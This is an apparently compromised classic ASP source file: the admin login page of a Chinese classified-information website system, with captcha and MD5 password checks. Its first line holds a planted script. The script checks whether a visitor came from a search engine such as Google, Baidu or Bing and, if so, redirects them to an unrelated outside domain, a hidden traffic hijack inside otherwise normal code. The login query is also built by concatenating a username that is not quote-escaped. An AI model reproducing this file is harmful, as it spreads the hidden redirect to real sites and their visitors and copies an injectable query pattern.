d:\wwwroot\wuchunhua\admin\Login.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="Conn.asp"-->
002: <!--#include file="other/Check_Sql.asp" -->
003: <!--#include file="md5.asp" -->
004: <% RandNum=Session("CheckCode")
005:     response.expires = -1
006:     if request("Action")="Login" then
007:     username=HtmlEncode(trim(Request.form("username")))
008:     password=HtmlEncode(replace(trim(Request.Form("password")),"'","''"))
009:     Md5_Pass=md5(password)
010:     GaobeiSys_CheckCode=replace(trim(Request("GaobeiSys_CheckCode")),"'","")
011:     if username="" or password="" then
012:     Response.write"<script>alert(""用户名和密码不能为空! "&Copyright&" "");location.href=""Login.asp"";</script>"
013:     Response.end
014:     end if
015:     if GaobeiSys_CheckCode<>CStr(session("CheckCode"))  then
016:     Response.write"<script>alert(""验证码不正确,请刷新后重新登陆 "&Copyright&" "");location.href=""Login.asp"";</script>"
017:     Response.end
018:     end if
019:     set rs=server.createobject("adodb.recordset")
020:     sql="select * from china_admin where username='"&username&"'and password='"&Md5_Pass&"'"
021:     rs.open sql,conn,1,1
022:     if not rs.EOF then
023:     Session("china_admin")=rs("username")
024:     rs.close
025:     set rs=nothing
026:     conn.close
027:     set conn=nothing
028:    Response.Redirect ("index.asp")
029:     else
030:     Response.write"<script>alert(""请输入正确的管理员名字或密码! "");location.href=""Login.asp"";</script>"
031:    Response.End
032:     end if
033:     rs.close
034:     set rs=nothing
035:     conn.close
036:     set conn=nothing
037:     end if
038:     if request("Action")="LoginOut" then
039:     Session("china_admin")=""
040:    response.Write(session("china_admin"))
041:      Response.write"<script>alert(""退出成功! "&Copyright&" "");location.href=""Login.asp"";</script>"
042:     end if
043: %
>
044: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
045: <title><%=webname%>--网站管理员登陆</title>
046: <META http-equiv=Content-Type content="text/html; charset=gb2312">
047: <link href="other/style.css" rel="stylesheet" type="text/css">
048: <STYLE type=text/css>    .style4 {
049:    FONT-WEIGHT: bold; FONT-SIZE: 12px; COLOR: #ffffff
050:     }
051:     BODY {
052:    MARGIN: 0px
053:     }
054: </STYLE>
055: <BODY>
056: <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" bgColor=#00309c border=0>
057:   <TBODY>
058:   <TR>
059:     <TD vAlign=center height="26%"> </TD></TR>
060:   <TR>
061:     <TD height=2>
062:       <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
063:         <TBODY>
064:         <TR>
065:           <TD
066:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#5A7EDC', EndColorStr='#C7DDFF')"
067:           width="31%" height=2></TD>
068:           <TD
069:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#C7DDFF', EndColorStr='#5A7EDC')"
070:           width="69%" height=2></TD></TR></TBODY></TABLE></TD></TR>
071:   <TR>
072:     <TD bgColor=#5a7edc height="48%">
073:       <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0>
074:         <TBODY>
075:         <TR>
076:           <TD style="PADDING-RIGHT: 12px" align=right width="57%">
077:             <DIV style="PADDING-RIGHT: 40px"></DIV>
078:             <DIV style="FONT-WEIGHT: bold; FONT-SIZE: 14pt"><BR>
079:               <TABLE cellSpacing=3 cellPadding=5 width="505" border=0>
080:                 <TBODY>
081:                 <TR>
082:                   <TD width="489" colspan="2"><font color="#FFFFFF"><b>===后台管理系统===</b></font></TD>
083:                 </TR>
084:                 <TR>
085:                   <TD width="214">
086:                     <DIV align=left>
087:                       <script language="JavaScript">
088:     <!--
089:     // Randomizer
090:     rnd.today=new Date();
091:     rnd.seed=rnd.today.getTime();
092:     function rnd() {
093:     rnd.seed = (rnd.seed*9301+49297) % 233280;
094:     return rnd.seed/(233280.0);
095:     };
096:     function rand(number) {
097:     return Math.ceil(rnd()*number);
098:     };
099:     // end randomizer. -->

100: </script>
101:                       <script language="JavaScript">
102:     <!--
103:     document.write('<IMG SRC="../images/poto/china_logo' + rand(6) + '.jpg">');
104:     //-->

105: </script>
106:                     </DIV>
107:                   </TD>
108:                   <TD width="262" valign="bottom">
109:                     <p><img border="0" src="../<%=chinalogo%>" alt="<%=webname%>"></p>
110:                     <p><font color="#FFFFFF">中国分类信息网V4.4商业正式版</font></p>
111:                     <p><font color="#FFFFFF">我们一直在努力,所以每天在进步</font></p>
112:                   </TD>
113:                 </TR>
114:                 <TR>
115:                   <TD width="489" colspan="2"> </TD>
116:                 </TR>
117:                 </TBODY>
118:               </TABLE>
119:               <SPAN
120:             class=style4><BR><BR></SPAN></DIV></TD>
121:           <TD width=1>
122:             <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%"
123:             border=0>
124:               <TBODY>
125:               <TR>
126:                 <TD
127:                 style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#5A7EDC', EndColorStr='#C7DDFF')"
128:                 height="50%"></TD></TR>
129:               <TR>
130:                 <TD
131:                 style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#C7DDFF', EndColorStr='#5A7EDC')"
132:                 height="50%"><IMG height=1
133:                   src=""
134:                   width=1> </TD></TR></TBODY></TABLE></TD>
135:           <TD id=td0 width="43%">
136:             <form name="login" method="post" action="?Action=Login" target="_top">
137:             <IMG height=15 alt=中国分类信息网系统 src="images/logo/footc.jpg"  width=1>
138:             <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0>
139:               <TBODY>
140:               <TR>
141:                 <TD vAlign=center align=middle>
142:                   <div align="center">
143:                   <TABLE id=table1 style="MARGIN: 20px" cellSpacing=3
144:                   cellPadding=5 width="93%" border=0
145:                   valign="middle">
146:                     <TBODY>
147:                     <TR>
148:                       <TD align=middle colSpan=3></TD></TR>
149:                     <TR>
150:                       <TD noWrap align=right>
151:                         <DIV class=style4 align=right>管理帐号:</DIV></TD>
152:                       <TD colSpan=2>
153:                       <input name="username"  type="text"  id="UserName5" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 110px; BORDER-BOTTOM: 1px solid"
154: maxlength="20" class="login"></TD></TR>
155:                     <TR>
156:                       <TD align=right>
157:                         <DIV class=style4 align=right>管理密码:</DIV></TD>
158:                       <TD colSpan=2><input name="password"  type="password" id="Password3" maxlength="20" class="login" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 110px; BORDER-BOTTOM: 1px solid">
159:                       </TD></TR>
160:                     <TR>
161:                       <TD align=right>
162:                         <DIV class=style4 align=right>验证码:</DIV></TD>
163:                       <TD width=83>
164:                       <input name="GaobeiSys_CheckCode" type="text" class="login" id="GaobeiSys_CheckCode" size=12 maxlength="20" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 70px; BORDER-BOTTOM: 1px solid"></TD>
165:                       <TD width=214><img src="other/china_GetCode.asp"></TD></TR>
166:                     <TR vAlign=center align=left>
167:                       <TD colSpan=3 height=40>&nbsp;&nbsp;&nbsp;&nbsp;<STRONG>
168:                       <input type="submit" name="Submit3" value=" 登陆 " style="BORDER-RIGHT: #5a7edc 1px; BORDER-TOP: #5a7edc 1px; BORDER-LEFT: #5a7edc 1px; WIDTH: 40px; COLOR: white; BORDER-BOTTOM: #5a7edc 1px; BACKGROUND-COLOR: #5a7edc">
169:                       <input type="reset" name="Submit2" value=" 重置 " style="BORDER-RIGHT: #5a7edc 1px; BORDER-TOP: #5a7edc 1px; BORDER-LEFT: #5a7edc 1px; WIDTH: 70px; COLOR: white; BORDER-BOTTOM: #5a7edc 1px; BACKGROUND-COLOR: #5a7edc">
170:                         </STRONG>
171:                         <DIV align=center></DIV></TD></TR></TBODY></TABLE></div>
172:             </TD></TR></TBODY></TABLE></FORM></TD></TR></TBODY></TABLE></TD></TR>
173:   <TR>
174:     <TD>
175:       <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
176:         <TBODY>
177:         <TR>
178:           <TD
179:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#0C3CA1', EndColorStr='#F49538')"
180:           width="31%" height=2></TD>
181:           <TD
182:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#F49538', EndColorStr='#0C3CA1')"
183:           width="69%" height=2></TD></TR></TBODY></TABLE></TD></TR>
184:   <TR>
185:     <TD vAlign=bottom align=right height="26%">
186:       <DIV align=right>
187:       </DIV></TD></TR></TBODY></TABLE></BODY></HTML>
188:
189:
190: